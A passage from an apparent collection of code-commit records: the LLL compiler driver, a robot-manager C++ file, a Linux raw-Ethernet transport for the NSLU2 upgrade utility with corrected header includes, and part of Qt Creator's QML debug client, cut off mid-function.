\" -t,--parse-tree Only parse; show parse tree.\" << endl\n\t\t<< \" -o,--optimise Turn on\/off the optimiser; on by default.\" << endl\n\t\t<< \" -h,--help Show this help message and exit.\" << endl\n\t\t<< \" -V,--version Show the version and exit.\" << endl;\n exit(0);\n}\n\nvoid version()\n{\n\tcout << \"LLLC, the Lovely Little Language Compiler \" << endl;\n\tcout << \" By Gav Wood, (c) 2014.\" << endl;\n\texit(0);\n}\n\n\/*\nThe equivalent of setlocale(LC_ALL, \"C\") is called before any user code is run.\nIf the user has an invalid environment setting then it is possible for the call\nto set locale to fail, so there are only two possible actions, the first is to\nthrow a runtime exception and cause the program to quit (default behaviour),\nor the second is to modify the environment to something sensible (least\nsurprising behaviour).\n\nThe follow code produces the least surprising behaviour. It will use the user\nspecified default locale if it is valid, and if not then it will modify the\nenvironment the process is running in to use a sensible default. This also means\nthat users do not need to install language packs for their OS.\n*\/\nvoid setDefaultOrCLocale()\n{\n#if __unix__\n\tif (!std::setlocale(LC_ALL, \"\"))\n\t{\n\t\tsetenv(\"LC_ALL\", \"C\", 1);\n\t}\n#endif\n}\n\nenum Mode { Binary, Hex, Assembly, ParseTree, Disassemble };\n\nint main(int argc, char** argv)\n{\n\tsetDefaultOrCLocale();\n\tunsigned optimise = 1;\n\tstring infile;\n\tMode mode = Hex;\n\n\tfor (int i = 1; i < argc; ++i)\n\t{\n\t\tstring arg = argv[i];\n\t\tif (arg == \"-h\" || arg == \"--help\")\n\t\t\thelp();\n\t\telse if (arg == \"-b\" || arg == \"--binary\")\n\t\t\tmode = Binary;\n\t\telse if (arg == \"-x\" || arg == \"--hex\")\n\t\t\tmode = Hex;\n\t\telse if (arg == \"-a\" || arg == \"--assembly\")\n\t\t\tmode = Assembly;\n\t\telse if (arg == \"-t\" || arg == \"--parse-tree\")\n\t\t\tmode = ParseTree;\n\t\telse if ((arg == \"-o\" || arg == \"--optimise\") && argc > i + 1)\n\t\t\toptimise = atoi(argv[++i]);\n\t\telse if (arg == \"-d\" || arg == \"--disassemble\")\n\t\t\tmode = Disassemble;\n\t\telse if (arg == \"-V\" || arg == \"--version\")\n\t\t\tversion();\n\t\telse\n\t\t\tinfile = argv[i];\n\t}\n\n\tstring src;\n\tif (infile.empty())\n\t{\n\t\tstring s;\n\t\twhile (!cin.eof())\n\t\t{\n\t\t\tgetline(cin, s);\n\t\t\tsrc.append(s);\n\t\t}\n\t}\n\telse\n\t\tsrc = contentsString(infile);\n\n\tvector<string> errors;\n\tif (src.empty())\n\t\terrors.push_back(\"Empty file.\");\n\telse if (mode == Disassemble)\n\t{\n\t\tcout << disassemble(fromHex(src)) << endl;\n\t}\n\telse if (mode == Binary || mode == Hex)\n\t{\n\t\tauto bs = compileLLL(src, optimise ? true : false, &errors);\n\t\tif (mode == Hex)\n\t\t\tcout << toHex(bs) << endl;\n\t\telse if (mode == Binary)\n\t\t\tcout.write((char const*)bs.data(), bs.size());\n\t}\n\telse if (mode == ParseTree)\n\t\tcout << parseLLL(src) << endl;\n\telse if (mode == Assembly)\n\t\tcout << compileLLLToAsm(src, optimise ? true : false, &errors) << endl;\n\tfor (auto const& i: errors)\n\t\tcerr << i << endl;\n\tif ( errors.size() )\n\t\treturn 1;\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"RdRobotManager.hpp\"\n\n\/\/-- This is very important:\nrd::RdRobotManager * rd::RdRobotManager::robotManager = NULL;\n\n\nvoid rd::RdRobotManager::registerManager(std::string name, rd::RdRobotManager *manager)\n{\n if ( robotManagerRegistry.find(name) == robotManagerRegistry.end() )\n {\n robotManagerRegistry[name] = manager;\n }\n else\n {\n RD_ERROR(\"RdManager with name \\\"%s\\\" already exists!\\n\", name.c_str());\n }\n}\n\nstd::vector<std::string> rd::RdRobotManager::listAll()\n{\n std::vector<std::string> robot_manager_list;\n\n for( std::map<std::string, RdRobotManager*>::const_iterator it = robotManagerRegistry.begin(); it != robotManagerRegistry.end(); ++it)\n {\n robot_manager_list.push_back(it->first);\n }\n\n return robot_manager_list;\n}\n\nrd::RdRobotManager *rd::RdRobotManager::getRobotManager(std::string name)\n{\n if (robotManager == NULL)\n {\n if ( robotManagerRegistry.find(name) != robotManagerRegistry.end() )\n {\n robotManager = robotManagerRegistry[name];\n }\n else\n {\n RD_ERROR(\"RdRobotManager requested (\\\"%s\\\") does not exist.\\n\", name.c_str());\n }\n }\n\n return robotManager;\n}\n\nbool rd::RdRobotManager::destroyRobotManager()\n{\n if (robotManager == NULL)\n return false;\n\n delete robotManager;\n robotManager = NULL;\n\n return true;\n}\n\n\nrd::RdRobotManager::~RdRobotManager()\n{\n this->onDestroy();\n}\n<commit_msg>Now it compiles<commit_after>#include \"RdRobotManager.hpp\"\n<|endoftext|>"} {"text":"<commit_before>\/*-\n * linux_wire.cc\n *\n * Implementation of Wire for linux, may work on other UN*X systems\n * too...\n *\/\n#include \"config.h\"\n\n#if !HAVE_LIBPCAP\n#include <cstring>\n#include <cerrno>\n\n#include <sys\/types.h>\n#include <sys\/ioctl.h>\n#include <sys\/socket.h>\n#include <sys\/select.h>\n#include <net\/ethernet.h>\n\n#if 0\n\/* Including this is incompatible with including linux\/if_arp.h *\/\n#include <net\/if.h>\n#include <netpacket\/packet.h>\n#else\n#include <asm\/types.h>\n#include <linux\/if_packet.h>\n#include <linux\/if_ether.h>\n#include <linux\/if_arp.h>\n#endif\n\n#include <unistd.h>\n#include <sys\/types.h> \/* Required for class EUID *\/\n\n#include \"nslu2_upgrade.h\"\n\nnamespace NSLU2Upgrade {\n\t\/* The basic class implemented to transmit and receive packets over the\n\t * wire.\n\t *\/\n\tclass EthernetWire : public Wire {\n\tpublic:\n\t\tEthernetWire(int s, int hw_index, const unsigned char address[6]) :\n\t\t\tsocket(s), broadcast(true) {\n\t\t\t\/* Most of these fields aren't used in any given request,\n\t\t\t * but it does no harm to fill them all correctly.\n\t\t\t *\/\n\t\t\tnslu2To.sll_family = AF_PACKET;\n\t\t\tnslu2To.sll_protocol = NSLU2Protocol::UpgradeProtocol;\n\t\t\tnslu2To.sll_ifindex = hw_index;\n\t\t\tnslu2To.sll_hatype = ARPHRD_IEEE802;\n\t\t\tnslu2To.sll_pkttype = address ? PACKET_HOST : PACKET_BROADCAST;\n\t\t\tnslu2To.sll_halen = 6;\n\t\t\t\/* The 255 gives the ethernet hardware broadcast address,\n\t\t\t * overwrite this if a host address is provided.\n\t\t\t *\/\n\t\t\tstd::memset(nslu2To.sll_addr, 255, sizeof nslu2To.sll_addr);\n\t\t\tif (address) {\n\t\t\t\tbroadcast = false;\n\t\t\t\tstd::memcpy(nslu2To.sll_addr, address, 6);\n\t\t\t}\n\n\t\t\t\/* This is set just in case of a call to LastAddress before\n\t\t\t * Receive has succeeded - the result will be all 0's\n\t\t\t *\/\n\t\t\tstd::memset(nslu2From.sll_addr, 0, sizeof nslu2From.sll_addr);\n\t\t}\n\n\t\tvirtual ~EthernetWire() {\n\t\t\t(void)close(socket);\n\t\t}\n\n\t\t\/* Throws SendError on a fatal error. *\/\n\t\tvirtual void Send(const void *packet, size_t length) {\n\t\t\t\/* Set no flags (0) - we block on the sendto if\n\t\t\t * required, the socket is *not* set O_NONBLOCK.\n\t\t\t *\/\n\t\t\twhile (sendto(socket, packet, length, 0,\n\t\t\t\t\treinterpret_cast<sockaddr*>(&nslu2To),\n\t\t\t\t\tsizeof nslu2To) == (-1)) {\n\t\t\t\tif (errno != EINTR)\n\t\t\t\t\tthrow SendError(errno);\n\t\t\t} \n\t\t}\n\n\t\t\/* Receive throws ReceiveError on a fatal error and must update\n\t\t * size with the received packet size. 0 must be used to\n\t\t * indicate failure to receive a packet (and this must not\n\t\t * be fatal). If timeout is greater than 0 the implementation\n\t\t * should wait that number of microseconds until a packet is\n\t\t * received or the timeout has expired (in which case a size\n\t\t * of 0 must be returned).\n\t\t *\/\n\t\tvirtual void Receive(void *buffer, size_t &size, unsigned long timeout) {\n\t\t\t\/* The socket is blocking (O_NONBLOCK is not set) therefore\n\t\t\t * handle the 'block' option by polling. Even if 'block'\n\t\t\t * is true this call must not actually block - just\n\t\t\t * time out - because the response packet we are waiting\n\t\t\t * for may actually have been dropped.\n\t\t\t *\/\n\t\t\tdo {\n\t\t\t\tfd_set readfds;\n\t\t\t\tFD_ZERO(&readfds);\n\t\t\t\tFD_SET(socket, &readfds);\n\t\t\t\t\n\t\t\t\t\/* Timeout as requested by the caller. *\/\n\t\t\t\tstruct timeval tv;\n\t\t\t\ttv.tv_sec = timeout >> 20;\n\t\t\t\ttv.tv_usec = timeout & 0xfffff;\n\t\t\t\tif (tv.tv_usec >= 1000000)\n\t\t\t\t\t++tv.tv_sec, tv.tv_usec = 0;\n\n\t\t\t\t\/* See if there is anything to read... *\/\n\t\t\t\tdo {\n\t\t\t\t\tint fds(select(socket+1, &readfds, 0, 0, &tv));\n\t\t\t\t\tif (fds == 0) {\n\t\t\t\t\t\tsize = 0;\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\tif (fds != (-1))\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tif (errno != EINTR)\n\t\t\t\t\t\tthrow ReceiveError(errno);\n\t\t\t\t} while (1);\n\n\t\t\t\t\/* There is something to read... *\/\n\t\t\t\tsocklen_t resultSize(sizeof nslu2From);\n\t\t\t\tssize_t result(recvfrom(socket, buffer, size, 0,\n\t\t\t\t\t\treinterpret_cast<sockaddr*>(&nslu2From),\n\t\t\t\t\t\t&resultSize));\n\t\t\t\tif (result == (-1)) {\n\t\t\t\t\tif (errno != EINTR)\n\t\t\t\t\t\tthrow ReceiveError(errno);\n\t\t\t\t} else if (broadcast || std::memcmp(nslu2To.sll_addr,\n\t\t\t\t\t\t\tnslu2From.sll_addr, 6) == 0) {\n\t\t\t\t\t\/* otherwise this is not a packet for this\n\t\t\t\t\t * program and it is just ignored.\n\t\t\t\t\t *\/\n\t\t\t\t\tsize = result;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t} while (1);\n\t\t}\n\n\t\t\/* Return the address of the last received packet. This is\n\t\t * an NSLU2 so the address is a 6 byte Ethernet hardware\n\t\t * address.\n\t\t *\/\n\t\tvirtual void LastAddress(unsigned char address[6]) {\n\t\t\tstd::memcpy(address, nslu2From.sll_addr, 6);\n\t\t}\n\n\tprivate:\n\t\tstruct sockaddr_ll nslu2To;\n\t\tstruct sockaddr_ll nslu2From;\n\t\tint socket;\n\t\tbool broadcast;\n\t};\n\n\t\/* Class to set and reset the user id to the effective uid. *\/\n\t\/* Requires unistd.h and sys\/types.h *\/\n\tclass EUID {\n\tpublic:\n\t\tEUID(int uid) : euid(::geteuid()) {\n\t\t\tif (uid != -1 && ::seteuid(uid) != 0)\n\t\t\t\tthrow WireError(errno);\n\t\t}\n\n\t\t~EUID() {\n\t\t\t::seteuid(euid);\n\t\t}\n\n\tprivate:\n\t\t::uid_t euid;\n\t};\n\n};\n\n\n\/* Make a new wire, which may be deleted with delete. The\n * address should be a value (null terminated this time) returned\n * by LastAddress, if NULL the Wire will broadcast. 'device'\n * is the hardware device name to use - the value of the\n * --device parameter on the command line (if given). If not\n * given (NULL) a potentially useless default will be used.\n *\/\nNSLU2Upgrade::Wire *NSLU2Upgrade::Wire::MakeWire(const char *device,\n\t\tconst unsigned char *address, int uid) {\n\tint packet_socket;\n\tstruct ifreq device_interface;\n\n\t\t{\n\t\tEUID euid(uid);\n\t\t\/* Obtain a datagram low level socket using the 'invented' NSLU2\n\t\t * protocol number. Change to the effective user id to do\n\t\t * this (if given).\n\t\t *\/\n\t\tpacket_socket = socket(PF_PACKET, SOCK_DGRAM, NSLU2Protocol::UpgradeProtocol);\n\t\tif (packet_socket == (-1))\n\t\t\tthrow WireError(errno);\n\n\t\t\/* Check the device name. If not given use 'eth0'. *\/\n\t\tif (device == NULL)\n\t\t\tdevice = \"eth0\";\n\n\t\t\/* We are using a level which requires a hardware specific address,\n\t\t * that's because the NSLU2 doesn't (for reasons which are far from\n\t\t * obvious) implement a standard protocol for the upgrade, therefore\n\t\t * there is no standard way of addressing the NSLU2. Instead we must\n\t\t * use the hardware, which on the NSLU2 is Ethernet, and which therefore\n\t\t * has a 6 byte 'name'.\n\t\t *\n\t\t * What this means is that we need to be talking on an ethernet device;\n\t\t * there ain't no way of getting a random ethernet packet onto some\n\t\t * other network, because there is no way of mapping the address (which\n\t\t * is an ethernet hardware id) into an appropriate address on another\n\t\t * network. (NOTE: 'tunnelling' stuff does this, it wraps the whole\n\t\t * packet up inside another packet and sends it down the tunnel, it gets\n\t\t * unwrapped at the other end, but that is transparent to this code.)\n\t\t * \n\t\t * At this point we need an ethernet device to talk to. Notice that this\n\t\t * could, in theory, be a fake device - just so long as the NSLU2 has a\n\t\t * six byte ethernet address to talk back to. We look the given device\n\t\t * name up on the socket. (See netdevice(7) - this is linux specific)\n\t\t *\n\t\t * NOTE: if you are looking at this code and trying to port it the device\n\t\t * stuff may be irrelevant, what you need to do is receive all packets\n\t\t * with the protocol 0x8888 (NSLU2Protocol::UpgradeProtocol) from any\n\t\t * *ethernet* MAC to implement the broadcast stuff and from a specific\n\t\t * ethernet MAC to implement upgrade. The broadcast stuff isn't necessary\n\t\t * to implement a working upslug2 - because the ethernet MAC can be\n\t\t * determined from the label on the bottom of an NSLU2, so the user can\n\t\t * just be obliged to turn the damn box over. And this is a better GUI.\n\t\t *\/\n\t\tstrncpy(device_interface.ifr_name, device, sizeof device_interface.ifr_name);\n\t\tdevice_interface.ifr_name[(sizeof device_interface.ifr_name)-1] = 0;\n\n\t\tif (ioctl(packet_socket, SIOCGIFINDEX, &device_interface) == (-1)) {\n\t\t\t\/* This means the device name is bogus, because if we weren't\n\t\t\t * euid 0 the socket call would have EACCESed above.\n\t\t\t *\/\n\t\t\tconst int err(errno);\n\t\t\t(void)close(packet_socket);\n\t\t\tthrow WireError(err);\n\t\t}\n\t}\n\n\t\/* This is enough to make a new wire. *\/\n\treturn new EthernetWire(packet_socket, device_interface.ifr_ifindex, address);\n}\n#endif\n<commit_msg>Fix the use of linux specific header files - not necessary and doesn't work with later versions of glibc.<commit_after>\/*-\n * linux_wire.cc\n *\n * Implementation of Wire for linux, may work on other UN*X systems\n * too...\n *\/\n#include \"config.h\"\n\n#if !HAVE_LIBPCAP\n#include <cstring>\n#include <cerrno>\n\n#include <sys\/types.h>\n#include <sys\/ioctl.h>\n#include <sys\/socket.h>\n#include <sys\/select.h>\n\n#include <net\/ethernet.h>\n#include <net\/if.h>\n#include <net\/if_arp.h>\n\n#include <netpacket\/packet.h>\n\n#include <unistd.h>\n#include <sys\/types.h> \/* Required for class EUID *\/\n\n#include \"nslu2_upgrade.h\"\n\nnamespace NSLU2Upgrade {\n\t\/* The basic class implemented to transmit and receive packets over the\n\t * wire.\n\t *\/\n\tclass EthernetWire : public Wire {\n\tpublic:\n\t\tEthernetWire(int s, int hw_index, const unsigned char address[6]) :\n\t\t\tsocket(s), broadcast(true) {\n\t\t\t\/* Most of these fields aren't used in any given request,\n\t\t\t * but it does no harm to fill them all correctly.\n\t\t\t *\/\n\t\t\tnslu2To.sll_family = AF_PACKET;\n\t\t\tnslu2To.sll_protocol = NSLU2Protocol::UpgradeProtocol;\n\t\t\tnslu2To.sll_ifindex = hw_index;\n\t\t\tnslu2To.sll_hatype = ARPHRD_IEEE802;\n\t\t\tnslu2To.sll_pkttype = address ? PACKET_HOST : PACKET_BROADCAST;\n\t\t\tnslu2To.sll_halen = 6;\n\t\t\t\/* The 255 gives the ethernet hardware broadcast address,\n\t\t\t * overwrite this if a host address is provided.\n\t\t\t *\/\n\t\t\tstd::memset(nslu2To.sll_addr, 255, sizeof nslu2To.sll_addr);\n\t\t\tif (address) {\n\t\t\t\tbroadcast = false;\n\t\t\t\tstd::memcpy(nslu2To.sll_addr, address, 6);\n\t\t\t}\n\n\t\t\t\/* This is set just in case of a call to LastAddress before\n\t\t\t * Receive has succeeded - the result will be all 0's\n\t\t\t *\/\n\t\t\tstd::memset(nslu2From.sll_addr, 0, sizeof nslu2From.sll_addr);\n\t\t}\n\n\t\tvirtual ~EthernetWire() {\n\t\t\t(void)close(socket);\n\t\t}\n\n\t\t\/* Throws SendError on a fatal error. *\/\n\t\tvirtual void Send(const void *packet, size_t length) {\n\t\t\t\/* Set no flags (0) - we block on the sendto if\n\t\t\t * required, the socket is *not* set O_NONBLOCK.\n\t\t\t *\/\n\t\t\twhile (sendto(socket, packet, length, 0,\n\t\t\t\t\treinterpret_cast<sockaddr*>(&nslu2To),\n\t\t\t\t\tsizeof nslu2To) == (-1)) {\n\t\t\t\tif (errno != EINTR)\n\t\t\t\t\tthrow SendError(errno);\n\t\t\t} \n\t\t}\n\n\t\t\/* Receive throws ReceiveError on a fatal error and must update\n\t\t * size with the received packet size. 0 must be used to\n\t\t * indicate failure to receive a packet (and this must not\n\t\t * be fatal). If timeout is greater than 0 the implementation\n\t\t * should wait that number of microseconds until a packet is\n\t\t * received or the timeout has expired (in which case a size\n\t\t * of 0 must be returned).\n\t\t *\/\n\t\tvirtual void Receive(void *buffer, size_t &size, unsigned long timeout) {\n\t\t\t\/* The socket is blocking (O_NONBLOCK is not set) therefore\n\t\t\t * handle the 'block' option by polling. Even if 'block'\n\t\t\t * is true this call must not actually block - just\n\t\t\t * time out - because the response packet we are waiting\n\t\t\t * for may actually have been dropped.\n\t\t\t *\/\n\t\t\tdo {\n\t\t\t\tfd_set readfds;\n\t\t\t\tFD_ZERO(&readfds);\n\t\t\t\tFD_SET(socket, &readfds);\n\t\t\t\t\n\t\t\t\t\/* Timeout as requested by the caller. *\/\n\t\t\t\tstruct timeval tv;\n\t\t\t\ttv.tv_sec = timeout >> 20;\n\t\t\t\ttv.tv_usec = timeout & 0xfffff;\n\t\t\t\tif (tv.tv_usec >= 1000000)\n\t\t\t\t\t++tv.tv_sec, tv.tv_usec = 0;\n\n\t\t\t\t\/* See if there is anything to read... *\/\n\t\t\t\tdo {\n\t\t\t\t\tint fds(select(socket+1, &readfds, 0, 0, &tv));\n\t\t\t\t\tif (fds == 0) {\n\t\t\t\t\t\tsize = 0;\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\tif (fds != (-1))\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tif (errno != EINTR)\n\t\t\t\t\t\tthrow ReceiveError(errno);\n\t\t\t\t} while (1);\n\n\t\t\t\t\/* There is something to read... *\/\n\t\t\t\tsocklen_t resultSize(sizeof nslu2From);\n\t\t\t\tssize_t result(recvfrom(socket, buffer, size, 0,\n\t\t\t\t\t\treinterpret_cast<sockaddr*>(&nslu2From),\n\t\t\t\t\t\t&resultSize));\n\t\t\t\tif (result == (-1)) {\n\t\t\t\t\tif (errno != EINTR)\n\t\t\t\t\t\tthrow ReceiveError(errno);\n\t\t\t\t} else if (broadcast || std::memcmp(nslu2To.sll_addr,\n\t\t\t\t\t\t\tnslu2From.sll_addr, 6) == 0) {\n\t\t\t\t\t\/* otherwise this is not a packet for this\n\t\t\t\t\t * program and it is just ignored.\n\t\t\t\t\t *\/\n\t\t\t\t\tsize = result;\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t} while (1);\n\t\t}\n\n\t\t\/* Return the address of the last received packet. This is\n\t\t * an NSLU2 so the address is a 6 byte Ethernet hardware\n\t\t * address.\n\t\t *\/\n\t\tvirtual void LastAddress(unsigned char address[6]) {\n\t\t\tstd::memcpy(address, nslu2From.sll_addr, 6);\n\t\t}\n\n\tprivate:\n\t\tstruct sockaddr_ll nslu2To;\n\t\tstruct sockaddr_ll nslu2From;\n\t\tint socket;\n\t\tbool broadcast;\n\t};\n\n\t\/* Class to set and reset the user id to the effective uid. *\/\n\t\/* Requires unistd.h and sys\/types.h *\/\n\tclass EUID {\n\tpublic:\n\t\tEUID(int uid) : euid(::geteuid()) {\n\t\t\tif (uid != -1 && ::seteuid(uid) != 0)\n\t\t\t\tthrow WireError(errno);\n\t\t}\n\n\t\t~EUID() {\n\t\t\t::seteuid(euid);\n\t\t}\n\n\tprivate:\n\t\t::uid_t euid;\n\t};\n\n};\n\n\n\/* Make a new wire, which may be deleted with delete. The\n * address should be a value (null terminated this time) returned\n * by LastAddress, if NULL the Wire will broadcast. 'device'\n * is the hardware device name to use - the value of the\n * --device parameter on the command line (if given). If not\n * given (NULL) a potentially useless default will be used.\n *\/\nNSLU2Upgrade::Wire *NSLU2Upgrade::Wire::MakeWire(const char *device,\n\t\tconst unsigned char *address, int uid) {\n\tint packet_socket;\n\tstruct ifreq device_interface;\n\n\t\t{\n\t\tEUID euid(uid);\n\t\t\/* Obtain a datagram low level socket using the 'invented' NSLU2\n\t\t * protocol number. Change to the effective user id to do\n\t\t * this (if given).\n\t\t *\/\n\t\tpacket_socket = socket(PF_PACKET, SOCK_DGRAM, NSLU2Protocol::UpgradeProtocol);\n\t\tif (packet_socket == (-1))\n\t\t\tthrow WireError(errno);\n\n\t\t\/* Check the device name. If not given use 'eth0'. *\/\n\t\tif (device == NULL)\n\t\t\tdevice = \"eth0\";\n\n\t\t\/* We are using a level which requires a hardware specific address,\n\t\t * that's because the NSLU2 doesn't (for reasons which are far from\n\t\t * obvious) implement a standard protocol for the upgrade, therefore\n\t\t * there is no standard way of addressing the NSLU2. Instead we must\n\t\t * use the hardware, which on the NSLU2 is Ethernet, and which therefore\n\t\t * has a 6 byte 'name'.\n\t\t *\n\t\t * What this means is that we need to be talking on an ethernet device;\n\t\t * there ain't no way of getting a random ethernet packet onto some\n\t\t * other network, because there is no way of mapping the address (which\n\t\t * is an ethernet hardware id) into an appropriate address on another\n\t\t * network. (NOTE: 'tunnelling' stuff does this, it wraps the whole\n\t\t * packet up inside another packet and sends it down the tunnel, it gets\n\t\t * unwrapped at the other end, but that is transparent to this code.)\n\t\t * \n\t\t * At this point we need an ethernet device to talk to. Notice that this\n\t\t * could, in theory, be a fake device - just so long as the NSLU2 has a\n\t\t * six byte ethernet address to talk back to. We look the given device\n\t\t * name up on the socket. (See netdevice(7) - this is linux specific)\n\t\t *\n\t\t * NOTE: if you are looking at this code and trying to port it the device\n\t\t * stuff may be irrelevant, what you need to do is receive all packets\n\t\t * with the protocol 0x8888 (NSLU2Protocol::UpgradeProtocol) from any\n\t\t * *ethernet* MAC to implement the broadcast stuff and from a specific\n\t\t * ethernet MAC to implement upgrade. The broadcast stuff isn't necessary\n\t\t * to implement a working upslug2 - because the ethernet MAC can be\n\t\t * determined from the label on the bottom of an NSLU2, so the user can\n\t\t * just be obliged to turn the damn box over. And this is a better GUI.\n\t\t *\/\n\t\tstrncpy(device_interface.ifr_name, device, sizeof device_interface.ifr_name);\n\t\tdevice_interface.ifr_name[(sizeof device_interface.ifr_name)-1] = 0;\n\n\t\tif (ioctl(packet_socket, SIOCGIFINDEX, &device_interface) == (-1)) {\n\t\t\t\/* This means the device name is bogus, because if we weren't\n\t\t\t * euid 0 the socket call would have EACCESed above.\n\t\t\t *\/\n\t\t\tconst int err(errno);\n\t\t\t(void)close(packet_socket);\n\t\t\tthrow WireError(err);\n\t\t}\n\t}\n\n\t\/* This is enough to make a new wire. *\/\n\treturn new EthernetWire(packet_socket, device_interface.ifr_ifindex, address);\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2012 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** GNU Lesser General Public License Usage\n**\n** This file may be used under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation and\n** appearing in the file LICENSE.LGPL included in the packaging of this file.\n** Please review the following information to ensure the GNU Lesser General\n** Public License version 2.1 requirements will be met:\n** http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** Other Usage\n**\n** Alternatively, this file may be used in accordance with the terms and\n** conditions contained in a signed written agreement between you and Nokia.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**************************************************************************\/\n\n#include \"baseenginedebugclient.h\"\n#include \"qmldebugconstants.h\"\n\nnamespace QmlDebug {\n\nstruct QmlObjectData {\n QUrl url;\n int lineNumber;\n int columnNumber;\n QString idString;\n QString objectName;\n QString objectType;\n int objectId;\n int contextId;\n};\n\nQDataStream &operator>>(QDataStream &ds, QmlObjectData &data)\n{\n ds >> data.url >> data.lineNumber >> data.columnNumber >> data.idString\n >> data.objectName >> data.objectType >> data.objectId >> data.contextId;\n return ds;\n}\n\nstruct QmlObjectProperty {\n enum Type { Unknown, Basic, Object, List, SignalProperty };\n Type type;\n QString name;\n QVariant value;\n QString valueTypeName;\n QString binding;\n bool hasNotifySignal;\n};\n\nQDataStream &operator>>(QDataStream &ds, QmlObjectProperty &data)\n{\n int type;\n ds >> type >> data.name >> data.value >> data.valueTypeName\n >> data.binding >> data.hasNotifySignal;\n data.type = (QmlObjectProperty::Type)type;\n return ds;\n}\n\nvoid BaseEngineDebugClient::decode(QDataStream &ds,\n QmlDebugObjectReference &o,\n bool simple)\n{\n QmlObjectData data;\n ds >> data;\n int parentId = -1;\n if (objectName() == QLatin1String(\"QmlDebugger\") &&\n serviceVersion() >= Constants::CURRENT_SUPPORTED_VERSION )\n ds >> parentId;\n o.m_debugId = data.objectId;\n o.m_className = data.objectType;\n o.m_idString = data.idString;\n o.m_name = data.objectName;\n o.m_source.m_url = data.url;\n o.m_source.m_lineNumber = data.lineNumber;\n o.m_source.m_columnNumber = data.columnNumber;\n o.m_contextDebugId = data.contextId;\n o.m_needsMoreData = simple;\n o.m_parentId = parentId;\n\n if (simple)\n return;\n\n int childCount;\n bool recur;\n ds >> childCount >> recur;\n\n for (int ii = 0; ii < childCount; ++ii) {\n o.m_children.append(QmlDebugObjectReference());\n decode(ds, o.m_children.last(), !recur);\n }\n\n int propCount;\n ds >> propCount;\n\n for (int ii = 0; ii < propCount; ++ii) {\n QmlObjectProperty data;\n ds >> data;\n QmlDebugPropertyReference prop;\n prop.m_objectDebugId = o.m_debugId;\n prop.m_name = data.name;\n prop.m_binding = data.binding;\n prop.m_hasNotifySignal = data.hasNotifySignal;\n prop.m_valueTypeName = data.valueTypeName;\n switch (data.type) {\n case QmlObjectProperty::Basic:\n case QmlObjectProperty::List:\n case QmlObjectProperty::SignalProperty:\n {\n prop.m_value = data.value;\n break;\n }\n case QmlObjectProperty::Object:\n {\n QmlDebugObjectReference obj;\n obj.m_debugId = prop.m_value.toInt();\n prop.m_value = qVariantFromValue(obj);\n break;\n }\n case QmlObjectProperty::Unknown:\n break;\n }\n o.m_properties << prop;\n }\n}\n\nvoid BaseEngineDebugClient::decode(QDataStream &ds,\n QmlDebugContextReference &c)\n{\n ds >> c.m_name >> c.m_debugId;\n\n int contextCount;\n ds >> contextCount;\n\n for (int ii = 0; ii < contextCount; ++ii) {\n c.m_contexts.append(QmlDebugContextReference());\n decode(ds, c.m_contexts.last());\n }\n\n int objectCount;\n ds >> objectCount;\n\n for (int ii = 0; ii < objectCount; ++ii) {\n QmlDebugObjectReference obj;\n decode(ds, obj, true);\n obj.m_contextDebugId = c.m_debugId;\n c.m_objects << obj;\n }\n}\n\nvoid BaseEngineDebugClient::statusChanged(Status status)\n{\n emit newStatus(status);\n}\n\nvoid BaseEngineDebugClient::messageReceived(const QByteArray &data)\n{\n QDataStream ds(data);\n int queryId;\n QByteArray type;\n ds >> type;\n\n if (type == \"OBJECT_CREATED\") {\n emit newObjects();\n return;\n }\n\n ds >> queryId;\n\n if (type == \"LIST_ENGINES_R\") {\n int count;\n ds >> count;\n QmlDebugEngineReferenceList engines;\n for (int ii = 0; ii < count; ++ii) {\n QmlDebugEngineReference eng;\n ds >> eng.m_name;\n ds >> eng.m_debugId;\n engines << eng;\n }\n emit result(queryId, QVariant::fromValue(engines), type);\n } else if (type == \"LIST_OBJECTS_R\") {\n QmlDebugContextReference rootContext;\n if (!ds.atEnd())\n decode(ds, rootContext);\n emit result(queryId, QVariant::fromValue(rootContext), type);\n } else if (type == \"FETCH_OBJECT_R\") {\n QmlDebugObjectReference object;\n if (!ds.atEnd())\n decode(ds, object, false);\n emit result(queryId, QVariant::fromValue(object), type);\n } else if (type == \"EVAL_EXPRESSION_R\") {;\n QVariant exprResult;\n ds >> exprResult;\n emit result(queryId, exprResult, type);\n } else if (type == \"WATCH_PROPERTY_R\" ||\n type == \"WATCH_OBJECT_R\" ||\n type == \"WATCH_EXPR_OBJECT_R\") {\n bool valid;\n ds >> valid;\n emit result(queryId, valid, type);\n } else if (type == \"UPDATE_WATCH\") {\n int debugId;\n QByteArray name;\n QVariant value;\n ds >> debugId >> name >> value;\n emit valueChanged(debugId, name, value);\n }\n}\n\nBaseEngineDebugClient::BaseEngineDebugClient(const QString &clientName,\n QmlDebugConnection *conn)\n : QmlDebugClient(clientName, conn),\n m_nextId(1)\n{\n setObjectName(clientName);\n}\n\nquint32 BaseEngineDebugClient::addWatch(const QmlDebugPropertyReference &property)\n{\n quint32 id;\n if (status() == QmlDebugClient::Enabled) {\n id = getId();\n QByteArray message;\n QDataStream ds(&message, QIODevice::WriteOnly);\n ds << QByteArray(\"WATCH_PROPERTY\") << id << property.m_objectDebugId\n << property.m_name.toUtf8();\n sendMessage(message);\n }\n return id;\n}\n\nquint32 BaseEngineDebugClient::addWatch(const QmlDebugContextReference &\/*context*\/,\n const QString &\/*id*\/)\n{\n qWarning(\"QmlEngineDebugClient::addWatch(): Not implemented\");\n return 0;\n}\n\nquint32 BaseEngineDebugClient::addWatch(const 